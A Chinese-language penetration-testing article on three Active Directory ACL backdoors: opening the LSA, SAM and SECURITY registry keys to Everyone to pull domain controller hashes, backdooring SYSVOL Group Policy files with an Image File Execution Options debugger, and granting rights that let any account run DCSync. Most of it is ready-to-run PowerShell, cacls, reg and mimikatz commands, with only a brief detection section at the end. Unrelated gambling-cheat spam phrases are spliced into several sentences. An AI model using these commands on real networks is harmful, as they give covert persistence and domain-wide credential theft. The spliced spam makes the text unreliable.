域內配置ACL後門及檢測清理
前言
在域環境中配置ACL後門,隱蔽性較強,不容易被發現,適合域環境維持許可權,本文介紹常用的三種。
一、基於登錄檔ACL後門
作用:直接域控制器上的本地管理員hash。
實現思路:在域控制器上將hklm的特定鍵值分配everyone讀取手機麻將外掛許可權
感謝harmj0y大佬,已經把這個過程武器化了,地址: https://github.com/HarmJ0y/DAMP,程式碼寫得很完美
手動編寫powershell指令碼如下(會應用到麻將外掛軟體):
$Keys = @( 'SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg', 'SYSTEM\CurrentControlSet\Control\Lsa\JD', 'SYSTEM\CurrentControlSet\Control\Lsa\Skew1', 'SYSTEM\CurrentControlSet\Control\Lsa\Data', 'SYSTEM\CurrentControlSet\Control\Lsa\GBG', 'SECURITY', 'SAM\SAM', 'SECURITY\Policy\Secrets\NL$KM\CurrVal' ) ForEach($Key in $Keys) { $reg_path="HKLM:\"+$Key write-output $reg_path $REG = Get-Acl $reg_path $Rule = New-Object System.Security.AccessControl.RegistryAccessRule ("Everyone","FullControl","Allow") $REG.SetAccessRule($Rule) $REG |Set-Acl -Path $reg_path $Dir = Get-Childitem $reg_path -Recurse }
修改系統關鍵登錄檔需要星力捕魚程式刷分軟體許可權,本地管理員許可權下執行如下以獲取一個system shell:
psexec.exe -accepteula -s -i -d cmd.exe
在域控制器上執行上面指令碼或匯入https://github.com/HarmJ0y/DAMP/blob/master/Add-RemoteRegBackdoor.ps1指令碼執行:
Add-RemoteRegBackdoor -ComputerName client.external.local -Trustee 'S-1-1-0' -Verbose
然後就是在普通使用者機器上讀ntlm hash。
普通域使用者機器下載https://raw.githubusercontent.com/HarmJ0y/DAMP/master/RemoteHashRetrieval.ps1這個指令碼,本來想自己動手寫一個的,但是解密SAM內容這個步驟太複雜了,放棄啦。
執行獲取域控制器本地sam檔案裡的hash:
Get-RemoteLocalAccountHash -ComputerName ad1 -Verbose
這樣只要是個域使用者都可以獲取到域控制器的本地管理員administrator的hash,但是有一點要注意,就是域控制器的本地管理員賬戶不能直接pass the hash,這個是域控制器SAM檔案中賬戶的ntlm hash,或者叫它DSRM賬戶。
在域控制器上執行如下以允許DSRM賬戶進行遠端訪問(不用重啟):
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DSRMAdminLogonBehavior /t REG_DWORD /d 2
執行後就能對域控制器pass the hash。
用mimikatz進行hash注入:
mimikatz "privilege::debug" "sekurlsa::pth /domain:ad1 /user:Administrator /ntlm:5a6b69843c8xxxxxc73dd3f1592acab2" exit
這樣就可以持續訪問域控制器了。
二、基於域策略檔案許可權後門
作用:部署策略檔案無視防火牆一鍵種馬。
域裡機器每過90+(0-30分鐘)會訪問域控制器的C:\Windows\SYSVOL\sysvol\domain.com\Policies 以更新它們的策略。
配置Policies的資料夾許可權為everyone完全控制,在域控制器上執行:
cacls C:\Windows\SYSVOL\sysvol\z3r0.com\Policies /e /t /c /g "EveryOne":f
然後查詢某臺機器對應的是哪一個策略檔案,下載powerview指令碼然後執行:
Get-NETGPO -ComputerName tom-PC.z3r0.com |fl gpcfilesyspath
開啟\\z3r0.com\SYSVOL\z3r0.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf 新增如下在檔案末尾:
[Registry Values] MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,c:\windows\system32\calc.exe [Version] signature="$CHICAGO$" Revision=1
選擇taskhost.exe作為除錯程序是因為當目標機器重新整理域策略的時候會呼叫taskhost程序,所以直接就能觸發了。
手動重新整理策略gpupdate /force:
三、配置dcsync後門
在z3r0.com上右鍵把高階功能選上:
然後再右鍵屬性就會看到安全了。
把everyone設定成完全控制,威力無窮。
最後隨便找個賬號就能使用dcsync了:
mimikatz.exe "Lsadump::dcsync /domain:z3r0.com /user:administrator" exit
檢測清理
1、訪問編寫指令碼定時檢測登錄檔路徑(HKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehavior),DSRMAdminLogonBehavior這個鍵值 預設不存在,如果發現存在該鍵值那麼可能已經被攻擊者利用了。
2、檢測C:\Windows\SYSVOL\sysvol\domain.com\Policies目錄以及子目錄檔案許可權,如果某個使用者被賦予特殊許可權,那麼可能是攻擊者進行的操作
3、檢視域控制器上是否存在特殊許可權使用者,如下圖所示:
總結
本文介紹了常用的幾種配置ACL在內網裡留後門的方法,後門在滲透測試中發揮的作用至關重要,學習掌握後門技術是安全人員必不可少的技能之一。